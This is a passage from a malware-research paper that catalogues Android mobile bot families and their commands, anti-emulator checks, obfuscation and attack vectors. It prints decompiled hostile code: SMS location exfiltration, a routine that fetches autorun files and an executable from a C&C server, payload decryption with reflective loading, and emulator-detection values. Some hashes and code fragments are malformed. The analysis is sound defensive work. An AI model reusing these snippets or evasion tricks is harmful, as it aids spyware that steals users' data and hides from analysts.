<td>IMEI; IMSI; SIM serial number; phone number; location; call logs; SMS history; contact information</td>
<td>HTTP: no commands; SMS: 5&amp;</td>
<td>HTTP C&amp;C returns address of FTP server where collected data is uploaded; SMS command hides received SMS and replies with cellular network details</td>
<td>Spying/data stealing</td>
<td>2</td>
</tr>
<tr>
<td>Aug 2013</td>
<td>Android/AndroRat.A</td>
<td>HTTP</td>
<td>IMEI; phone number; country code; operator name; SIM country code; SIM serial number</td>
<td>5; 101-123</td>
<td>Forward GPS information, contacts, directory listings and contents, saved files, call logs and SMS history; record audio; take a picture; display a pop-up on the user’s phone; open a URL in the phone’s browser; cause the phone to vibrate; make a phone call</td>
<td>Spying/data stealing</td>
<td>1000+</td>
</tr>
<tr>
<td>Sep 2013</td>
<td>Android/Crosate.A</td>
<td>HTTP</td>
<td>IMEI; phone number; SIM country ISO; network operator name</td>
<td>setFilter start; setFilter stop; macros; forceZ On; forceZ Off; callBlock start; callBlock stop; getMessages in; getMessages out; keyHttpGate; keySmsGate; sendSms</td>
<td>Steal SMS, call logs, contact information; send SMS; record a call; makes a phone call</td>
<td>Spying/data stealing</td>
<td>30</td>
</tr>
<tr>
<td>Sep 2013</td>
<td>Android/Hesperbot.A</td>
<td>SMS</td>
<td>None</td>
<td>+[NUM]; on; off; uninstall</td>
<td>Set C&amp;C phone number; switch on/off SMS forwarding; uninstall application</td>
<td>SMS &amp; mTAN stealing</td>
<td>1</td>
</tr>
<tr>
<td>Jan 2014</td>
<td>Android/FakePlay.C</td>
<td>HTTP</td>
<td>IMEI; IMSI; phone number; build info</td>
<td>sms start; sms stop; call start; call stop; sms list; call list; start record; stop record; sendSMS; contact list; wipe data</td>
<td>Download and install fake banking applications; SMS forwarding; prevention of received call notifications and hiding from call logs; send contact list; send list of installed applications; SMS sending</td>
<td>Propagation of malware; spying/data stealing</td>
<td>3</td>
</tr>
</tbody>
</table>

1 Date of discovery of the first sample.

2 Number of unique samples.

Table 1: Known mobile bot variants, in chronological order (contd.).
<table>
<thead>
<tr>
<th>Date</th>
<th>Name of variant</th>
<th>C&amp;C type</th>
<th>Info leaked by default</th>
<th>Botnet commands</th>
<th>Bot capabilities</th>
<th>Main motivation</th>
<th>#2</th>
</tr>
</thead>
<tbody>
<tr>
<td>Jan 2014</td>
<td>Android/Nitmo.A</td>
<td>SMS</td>
<td>IMEI; IMSI; phone number; build info</td>
<td>sms start; sms stop; call start; call stop; sms list; call list; start record; stop record; sendSMS; contact list; wipe data</td>
<td>Start/stop SMS forwarding, call forwarding, audio recording; forward SMS history, call logs, contact list; SMS sending; reboot device and erase all user data</td>
<td>$pying/data stealing</td>
<td>1</td>
</tr>
<tr>
<td>Jun 2014</td>
<td>Android/Pletor.A</td>
<td>HTTP using TOR</td>
<td>IMEI</td>
<td>'command': ‘stop’</td>
<td>Deactivate ransomware</td>
<td>Financial (extortion of money)</td>
<td>54</td>
</tr>
<tr>
<td>Jun 2014</td>
<td>Android/Pletor.B</td>
<td>SMS</td>
<td>IMEI</td>
<td>stopc</td>
<td>Deactivate ransomware</td>
<td>Financial (extortion of money)</td>
<td>4</td>
</tr>
<tr>
<td>Jul 2014</td>
<td>Android/Wroba.I</td>
<td>SMS</td>
<td>Phone number</td>
<td>ak49-[URL]; ak40-[MSG]; wokm-[MSG]; ak60-[EMAIL]; ak61-[PWD]</td>
<td>Update value of URL or EMAIL &amp; PWD where stolen info is sent; send SMS containing MSG to all phone contacts; leak bank and credit card details; download and install fake banking application updates</td>
<td>Propagation of possible malware; financial; installation of banking malware</td>
<td>77</td>
</tr>
<tr>
<td>Jul 2014</td>
<td>Android/Wroba.M</td>
<td>HTTP</td>
<td>IMEI; build info; network operator name; list of Korean banking applications installed; phone contacts list; IMSI; network info; SIM operator info; phone number; voice mail number</td>
<td>padding; right; left; top; margin</td>
<td>Send SMS to phone contacts; download and install fake updates for existing banking applications; upgrade self</td>
<td>Propagation of possible malware; installation of banking malware</td>
<td>156</td>
</tr>
<tr>
<td>Oct 2014</td>
<td>Android/Xsser.A</td>
<td>HTTP</td>
<td>IMEI; IMSI; SIM serial number; SIM state</td>
<td>2-24; 40-46; 100; 101</td>
<td>Grab SMS history, call logs, GPS/location info, phone browser and email history, phone’s file listing; send incoming &amp; outgoing phone call recordings and audio recordings; run shell commands received on phone; download, upload or delete files; display a notification</td>
<td>$pying/data stealing</td>
<td>1</td>
</tr>
</tbody>
</table>

1 Date of discovery of the first sample.
2 Number of unique samples.

Table 1: Known mobile bot variants, in chronological order (contd.).
SOME PARTICULARLY INTERESTING VARIANTS

Variants with particularly unusual and/or interesting functionalities are detailed in this section, which is followed by subsections on anti-debugging tricks, code obfuscation and traffic encryption, and unusual attack vectors seen in the wild.

Android/SmsHowU (sha256sum: a3444b5c12334b24a587c083eb6c73d3a9823977abd0a5ef3f3d178bc1c392896)

This variant responds with the user’s GPS location along with a Google Maps link on receipt of the innocent-looking SMS command ‘how are you?’. The location-grabbing functionality is implemented by the code shown in Figure 1. The requestLocationUpdates() function registers the current activity to be updated periodically with location updates by a provider that matches the requirements specified by localCriteria [9]. There are no constraints on the time interval between updates, but the distance between location updates is constrained to 10 metres.

The Google Maps link creation is implemented by the code below, which is based on snippets from the original malware code:

```java
private void findAndSendLocation()
{
    Log.i("SMSAPP", getClass() + " finds and sends Location to: " + this._to);
    LocationManager locationManager = ((LocationManager)context.getSystemService("location"));
    Criteria localCriteria = new Criteria();
    Criteria.setAccuracy(true);
    Criteria.setAltitudeRequired(false);
    Criteria.setBearingRequired(false);
    Criteria.setPowerRequired(true);
    String str = locationManager.requestLocationUpdates(localCriteria, true);
    locationManager.requestLocationUpdates(str, 0, 10.0f, this);
}
```

The collected information is then sent via SMS, as implemented in the code below, where ‘_to’ is the sender of the SMS command, i.e. the botmaster:

```java
if localObject != null
{
    str4 = localObject.toString();
    SmsManager sms;
    his.sms.sendTextMessage(this._to, null, str4,
    this.sentIntent, null);
}
```

Android/NotCompatible: (sha256sum: 1a18e48fbd79ce84df86b4d065a7e30c510a4762437a6c8d88348afba685f)

What makes this malware family interesting is that it supports a command called ‘connectProxy’. When this command is received, the bot opens a connection to an IP address and port specified by the package’s configuration file, and redirects traffic to this location, thus allowing a remote attacker to use the infected device as a proxy server.

Android/Twikabot (sha256sum: b63c33cc71eda01b79572e1f6b82b703f9c088d6e6966ccf855f00f8c7775d)

This bot variant contacts Twitter accounts to acquire the names of C&C servers to contact. This functionality is implemented in the following steps:

1. Once launched, the StatisticsUploader class generates a random string using an algorithm that uses predefined strings present in the package.
2. This generated string serves as a nickname for a Twitter account. The malware then sends an HTTP request to http://mobile.twitter.com/[Generated Username].
3. From the response to the HTTP request, it extracts the string present between a randomly chosen tag from arrayOfString3 and a randomly chosen domain name from arrayOfString1, whose values are shown in Figure 2.
4. Next, it sends a POST request to the URL ‘http://+[Extracted String]+/carbontetraiodide’
with a randomly generated user agent. The infected phone’s IMEI, Android ID and phone number are included as POST parameters.

5. It then checks the response to the POST request to see if it contains the command ‘sms’. If it does, it sends out an SMS message using information in the POST response such as ‘phone’ (SMS destination), ‘data’ (SMS body) and ‘interval’ (number of times to send the SMS).

Android/Tascudap (sha256sum: c88a6e66e300268bc6bd8725656c24a04bc70bba8c522235bfb505623ed2d)

This bot variant shows no explicit signs of its presence once it is installed. However, it is launched every time the official Google Play application is launched. It implements this functionality by adding the application’s main intent to the category android.intent.category.APP MARKET, which is sent out when the Google Play application is launched. The implementation is shown in Figure 3.

Figure 2: Strings used for C&C address generation.

More interestingly, apart from being able to process commands for sending SMS messages and sending heartbeat messages back to the attacker, it can also be made to send numerous UDP packets to a specific destination. This is implemented in the code shown in Figure 4 and can only be explained as an attempt at a denial of service (DoS) attack on a destination specified by the attacker.

Figure 3: Android/Tascudap’s functionality to ensure it is launched with Google Play.

Figure 4: Android/Tascudap’s denial of service feature.
The exact implementation of this command is as follows:

```java
public static boolean USBAutoRunAttack(Context context) {
    DownloadFile(new StringBuilder(String.valueOf(urlServer))).append("app_data/aotorun.inf").toString().set("autoturn", "ftpupper", "thisisshit007", context);
    DownloadFile(new StringBuilder(String.valueOf(urlServer))).append("app_right/folder.ico").toString().set("ftpupper", "thisisshit007", context);
    DownloadFile(new StringBuilder(String.valueOf(urlServer))).append("app_right/svchosts.exe").toString().set("ftpupper", "thisisshit007", context);
    flag = true;
    _l2:
    return flag;
    Exception exception;
    try {
        AudioManager audiomanager = (AudioManager)context.getSystemService("audio");
        if(s.toLowerCase().equals("silent"))
            audiomanager.setRingerMode(0);
        else
            boolean flag1 = s.toLowerCase().equals("normal");
            flag = false;
            if(flag1)
                break label10;
            audiomanager.setRingerMode(2);
    }
    catch(Exception exception) {
        CreateAndSendErrorMessage((new StringBuilder(String.valueOf(exception.getMessage())).toString())).append("\n").toString(), context);
        flag = false;
        break label10;
    }
    flag = true;
    return flag;
}
```

This bot variant is interesting for its ability to process a command called ‘usb autorun attack’ which leads to the download of certain files from the C&C that could be used to infect a PC when the phone is connected to it in USB mode. The implementation of this functionality is shown in Figure 5.

It also implements another interesting command called ‘ringer’ that is followed by a parameter. Depending upon

---

**Figure 5: Android/Claco’s ‘usb autorun attack’ command.**

**Figure 6: Android/Claco’s ‘ringer’ command.**
the value of this parameter, the phone’s ringer state is set to ‘silent’ or ‘normal’. The corresponding code is shown in Figure 6.

**Anti-debugging tricks**

Anti-debugging tricks are widely employed by authors of PC malware, however these techniques aren’t as commonly observed in mobile malware. This section will focus on the few mobile bot samples that do employ them, that were analysed as part of this study.

**Android/NickiSpy.B** (sha256sum: 498b425a8536ce03b5738e1ba3339f70ec2680bc437fe150084d8b908a343405)

This bot variant checks the IMEI value of the device it is being run on and forwards it to a URL that is specified in the package. The application continues to run only if the response ‘y’ is received, otherwise it exits. The code implementing this anti-debugging trick, which allows the selective, IMEI-based, attacker-determined execution of this bot, is shown in Figure 7.

The check() function implements the HTTP request made and returns ‘true’ if the response ‘y’ is received.

**Android/Pincer.A** (sha256sum: 032a095067424d60d0df9fadab07553152e5550a67f95908441752eaf0d43f70)

This variant checks whether it is being run on an emulator by checking certain parameters such as the IMEI, model name, phone number, etc. for default values found on an emulator. We can only assume that this is done with the intention of hindering dynamic analysis of the malware on an emulator. The values are listed below:

- Build.PRODUCT = “sdk” or “generic”
- Build.MODEL = “sdk” or “generic”
- IMEI = “351565050260436” or “000000000000000” or “357242043237517” or “012345678912345”
- Phone Number = “15555215554”
- Build.HARDWARE = “goldfish”
- Nw = “Android

If any of the above values are true, the malware doesn’t launch the function implementing its botnet capabilities, thereby effectively hiding its malicious behaviour.

**Android/Wroba.I** (sha256sum: b103f3897b1619dee157e62a1737e864452a85bab613ad971ac6193b3f6a4834)

This variant checks the IMEI value of the device’s IMEI and phone number to detect an emulator. This is implemented using a code snippet similar to that shown below:

```java
this.telephonyManager = ((TelephonyManager) getSystemService("phone"));
String deviceId = "deviceid:" + this.telephonyManager.getDeviceId();
String phoneIdentity = this.telephonyManager.getLine1Number();
```

![Figure 7: Anti-debugging trick in Android/NickiSpy.B.](image)

![Figure 8: Emulator detection in Android/Crosate.A.](image)
if ((phoneNumber.startsWith("15555")) ||
   (deviceId.startsWith("00000000")))
System.exit(0);

The IMEI value used for emulator detection is ‘00000000’. However, this check doesn’t function due to a coding flaw. If the phone number on the device begins with ‘15555’, the application exits. This helps with emulator detection since the default phone number on a standard emulator is ‘1555521554’.

For multiple emulator instances running in parallel, the last four digits of the phone number are incremented to the next even number within the range 5554 to 5584 [11].

**Code obfuscation and traffic encryption**

This section details bot variants that employ techniques to hide code by means of obfuscation or encryption, and those that make use of traffic encryption to prevent detection by analysis of network traffic. Each example also shows the implementation of the obfuscation, decryption or encryption schemes in the bot’s code.

**Android/PjApps.A (sha256sum: b84ebe48e60d74984e7e9f5d8c12c578ea3554b73df4af6209bbdb7276c839)**

The C&C URL is ‘encrypted’ with a simple algorithm that uses only alternate characters of a given string. The decryption routine is implemented in the function `com.android.main.a.a()` of the package that takes the encrypted string and an integer as arguments. This class is defined as follows:

```java
public static String a(String paramString, int paramInt)
{
    StringBuffer localStringBuffer = new StringBuffer();
    String str1, str2;
    int i = paramString.length();
    for (int j = 0; ; j++)
    {
        if (j >= i / 2)
        {
            str2 = localStringBuffer.toString();
            String str3 = str2.substring(0, paramInt);
            if (paramInt <= 0)
            {
                str1 = str2.substring(paramInt, str2.
                        length() - 3) + "." + str2.
                        substring(str2.length() - 3);
            }
            else
            {
                str1 = str3 + "." + str2.substring(paramInt,
                        str2.length() - 3) + "." +
                        str2.substring(str2.length() - 3);
                break;
            }
            localStringBuffer.append(paramString.substring(1 + j * 2, 2 + j * 2));
        }
        return str1;
    }
}
```

An example of its use in a bot sample is as follows:
a("3lgoagdmfejkgfos915chojm", 3) = “log.meego91.com”

**Android/Vdloader.A (sha256sum: 7a771f17e3315c9a93b6ccbf1cd5e6e3ca8e8feeb2d02369d13e5dcd7b0b95aaed8)**

This sample uses a custom string encryption method. The decrypted string is calculated as [char - position]. The decryption code can be found at [12]. To give an example, decryption of the string below results in a configuration string used by the bot:

```java
decrypt d = new decrypt();
String strd = "7B237682E2F3F23F3692372E7B183324B344364138807BB8DCC553E4D404842849796465F814900D9E8B665C5D09193949697999A9C9D679DAAA977766F787181372AF9B76EAA6766DBB67089728382847818780AC17B947DB7FDB";
System.out.println ("Decryption result: "+str);
```

gives the output:

Decryption result:{"ve":"8.0","nct":"0","ict":"0","cus":{"http://aabbccddeee.com:8080/p.jsp"},"si":"201","ci":"1"}

**Android/Tascudap.A (sha256sum: c88a6e66e300268bc6bbdf725565c24a04bc70bbba8c522235bf6505623e62d)**

This variant also makes use of a custom encryption method based on arithmetic and logical operations, for hiding the C&C address. The decryption can be found at [13]. The decrypted output looks like this:

```
Output = gzqtmsnjdcdwoborizsk.com
```

**Android/NotCompatible (sha256sum: 1a18e48fbd79ce84d946bd0d65a7e30c5f10a4762437a6e38d886348afab658f)**

In this case, the configuration file is encrypted using AES. The bot decrypts a file in the package assets using AES with a key that is the SHA-256 hash of a hard-coded string. This implementation can be seen in the bot’s code in Figure 9.

**Android/LuckyCat (sha256sum: 5d2b0d143f09f31bf52f0fafa0810c66f9465040945a4ee679e80f709ae3bd4)**

This variant XOR ‘encrypts’ the traffic sent to the C&C. The encryption can be seen in Figure 10, where `paramArrayOfByte` contains the information to be sent to the C&C.
Android/SaurFtp.A (sha256sum: 9390a14580165cadc5 4e5d69d4edecd31534a19a1ceebb1824a9eb4febdc56d)

This bot variant gets its C&C address from a file in the package assets called proper.ini. The contents of the file between the characters ‘&lt;####’ and ‘####&gt;’ are read and then XOR decrypted, as shown in Figure 11.

The result of the decryption is shown below:

```
#### http://android.uyghur.dnsd.me/default.htm ####
```

This result is split at ‘####’, with the first half of the split serving as the C&C server address from where the bot acquires the address of an FTP server to which all the collected information is finally uploaded.

Android/JSmsHider.A (sha256sum: 522e7ded785cfedb 565200bcf29be072d4e16ba5886883dfc729d76923130 3fb)

This variant DES encrypts values of the POST parameters, i.e. the collected data, in traffic sent to the C&C, as can be seen from the code shown in Figure 12.

Android/DroidKungFu.E (sha256sum: 66d90617f49aa2 449e338455d3b9ce825c2ca45d5460c1e9e40bb05333 b7dfb)

This bot variant contains an encrypted binary in the package assets under the name WebView.db.init. The file is decrypted using AES with a hard-coded key, as shown in Figure 13. The resulting decrypted file is an ELF binary which is then executed and communicates with the C&C, downloading other packages and installing them.

Android/DroidKungFu.F, .G (sha256sum: 6c4aebf5043436122b4f482366c9f7cb5fbeb02e2bb77435d32dd89 b77a2e0)

These variants make use of Java code from a native library in order to drop an executable onto a rooted Android.
The native library contains encrypted strings that are first decrypted before the library can drop the malicious executable. The decryption scheme used is a bitwise NOT operation on each byte of the encrypted string. This can be seen in the native library’s IDA disassembly shown in Figure 14.

**Figure 12**: Android/JSmsHider.A DES encrypts traffic to C&C.

**Figure 13**: AES decryption routine in Android/KungFu.E. The byte array WP contains the hard-coded key.

**Figure 14**: Bitwise NOT decryption of strings in native libraries used by Android/DroidKungfu.F, G.

This variant hides its main malicious activity within a package that is encrypted and hidden within itself. The inner malicious package is present in the original package as an asset file and is decrypted using DES before it can be loaded.
and the malicious functions called. The implementation of this decryption and class loading can be seen in the code in Figure 15. The code in the figure shows the DES decryption of an asset file ‘ds’ using the key ‘gjaoun’. The decryption results in an Android package that is saved in the package directory as ‘x.zip’ and loaded using the following command:

```java
localDexFile = (DexFile) Class.forName("dalvik.system.DexFile").getMethod("loadDex", arrayOfClass).invoke(null, arrayOfObject);
```

This invokes the ‘dalvik.system.DexFile.loadDex()’ function using reflection, a technique that is commonly used to hide function calls.

```java
private void loadClass(Context paramContext)
{
    String str1 = "/data/data/" + paramContext.getPackageName() + "/;
    String str2 = str1 + "x.zip";
    String str3 = str1 + "x";
    try {
        InputStream localInputStream = getAssets().open("ds");
        byte[] arrayofByte1 = new byte[i];
        localInputStream.read(arrayofByte1, 0, i);
        byte[] arrayofByte2 = new DesUtil("gjaoun").decrypt(arrayofByte1);
        FileOutputStream localFileOutputStream = new FileOutputStream(str2);
        localFileOutputStream.write(arrayofByte2);
        localFileOutputStream.close();
    }
}
```

Figure 15: Decryption and loading of an inner malicious package by Android/Wroba.I.

Unusual attack vectors

Most mobile malware follows the classic method of uploading trojanized versions of legitimate applications to Android markets (official or third-party/non-market) in order to propagate in the wild.

It must be mentioned that installation of any application that doesn’t originate from the official Google Play Store requires users to have the ‘Allow Installation of non-Market Applications’ option checked in the phone’s application settings. If this is not already the case, the user has to go through the extra step of checking this option before a ‘non-market’ application can be installed.

Some examples detailed below deviate from the ‘norm’ of passing through an Android market and instead use unusual attack vectors for distribution.

- Android/NotCompatible.A: These variants are mostly served by means of malicious iframes on compromised websites. An unsuspecting user visiting such a compromised website would automatically have the malware downloaded to his/her phone. However, installation of the malware would still require user intervention.

- Android/Chuli.A: This variant was touted as the first Android malware to be delivered using a targeted attack [14]. It was sent as an email attachment to the accounts of Tibetan human rights advocates and activists in an email regarding the World Uyghur Congress (WUC) that took place in Geneva from 11–13 March 2013. The malware collected contact, location and received SMS information, as well as call records from the infected phones. This spyware functionality combined with its targeted nature, led to suspicions of political motives behind the malware.

- Android/FakePlay.C: This variant was interesting for its ability to propagate from an infected PC to a mobile phone connected to it in USB mode. The attack vector was thus from PC to mobile – the inverse of that employed by Android/Claco.A. The PC malware propagating this mobile bot variant has been detected as W32/BackDoor.VX!tr by Fortinet. This Windows malware made use of Android’s Debug Bridge [15] for communication between the PC and the connected mobile device and for installation of the mobile malware.

- Android/Xsser.A: This variant, discovered in 2014, was uniquely served via links in messages on the mobile messaging service WhatsApp. In particular, it was sent to several participants of the 2014 Hong Kong protests in September 2014 as part of the ‘Occupy Central’ pro-democracy civil disobedience campaign. The WhatsApp message provided a link that claimed to be ‘designed by CODE4HK for the coordination of OCCUPYCENTRAL’ [16], however the shortened link led to a site with a Chinese TLD, with the URL deliberately made to look like a legitimate Code4HK link. This case, once again, led to suspicions of political motives behind the malware. An iOS variant of the same malware was found on the C&C with which the Android trojan communicates, but no reports were received of the iOS variant being distributed in the wild.

STATISTICS

This section focuses on statistics based on the different properties of the bot variants detailed in the inventory.

C&C channel used

Figure 16 shows the kind of channel used for communication with the C&C by different bot variants. Of the 43 variants that make use of HTTP, Figure 17 shows a plot of the number of variants that make use of HTTP communication to the standard port, i.e. 80, vs. those that use a non-standard port.
Information leaked by default

Figure 18 plots what information is leaked by default against the number of variants. Information leaked by default refers to data that is sent simply upon launching the malware, without the receipt of any command from the botmaster.

Device administrator privileges

Device administration is a feature available on devices that run an Android version >= 2.2. This feature is available by means of an API [17] that mainly provides device administration features at the system level. It was introduced mainly to facilitate the development of security-aware applications. However, it is also interesting to attackers for the escalated rights it confers on an application.

The most common motivation seen for its use in malware is to make uninstallation of the malware tricky. If the user grants device administrator privileges to an application after installation, it can only be uninstalled if its corresponding device administrator is deactivated from the phone’s ‘Location & security’ settings menu. Without knowledge of this information, a user could assume the application in question is uninstallable.

Figure 19 shows the percentage of bot variants studied that request these privileges from the user after installation.

Main motivation

During classification of variants based upon their motives, the lines between different categories can become blurred and it can generally be assumed that they all finally merge towards monetary gain. For the purposes of this paper, the most evident motive was given preference.
Figure 20 shows a plot based on the main motives for the creation of the different bot variants, surmised based upon the bots’ functionalities.

- Spying/data stealing: This category includes all bot variants that also had ‘SMS/mTAN stealing’ as their main motivation.
- Financial: This category includes bot variants that rely on sending SMS to premium phone numbers in order to make money, as well as ransomware.
- Propagation of possible malware: All variants classified in this category either have the ability to download and install new packages onto an infected phone or they send SMS messages containing links pointing to possible malware to the contacts saved on the infected phone. The malware Android/Claco, which can infect a PC via USB, also falls under this category.

**Signing certificates**

Figure 21 plots the number of variants against the certificates used to sign one sample of each. The certificates have been classified under three categories.

- The Android Developer Certificate corresponds to the certificate that comes with the Android SDK. It can be identified by the following values:
  
  **Owner:** CN=Android Debug, O=Android, C=US  
  **Issuer:** CN=Android Debug, O=Android, C=US  

- A custom certificate describes a developer-specific certificate. An example is given below:
  
  **Owner:** EMAILADDRESS=android@android.com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US  
  **Issuer:** EMAILADDRESS=android@android.com, CN=Android, OU=Android, O=Android, L=Mountain View, ST=California, C=US  

**CONCLUSION**

In this paper, I have shown that malware authors continue to be driven mainly by motives relating to spying, financial gain and further propagation of malware. The precedence of financial motives over spying in the statistics could be explained by the fact that the statistics don’t take into account how many successful infections of each variant exist in the wild.

Based on the statistics collected and the variants described, it can be concluded that although attackers’ motives haven’t changed much, the strategies used in writing malware continue to evolve, be it the employment of anti-debugging tricks or the increasing use of encryption and obfuscation in new malware. It has also been shown through examples that mobile bot variants are still relatively easy to take apart, and have yet to achieve the level of complexity of their PC counterparts.

More importantly, the emergence of new and innovative attack vectors – including attacks that can move from one attack surface to another (Android/Claco.A, Android/FakePlay.C) – provides a multi-level threat.
Combining that with the fact that mobile phones are increasingly being used for diverse purposes, e.g. to control smart TVs, interfacing with fitness trackers, or interfacing with any other Internet-connected device, we can expect to see more attacks spanning different attack surfaces.

Finally, with the use of multiple C&C channels by a single bot variant and remotely configurable C&C addresses, mobile botnets are becoming more resilient to takedown. All these factors hint at the need for systems/applications designed specifically for the detection and takedown of mobile botnets to be put in place – which is where this paper aims to help.

ACKNOWLEDGEMENTS

I would like to thank Axelle Apvrille and Guillaume Lovet for their help with writing this paper. Many thanks also to all authors whose work was referenced in the paper.

REFERENCES


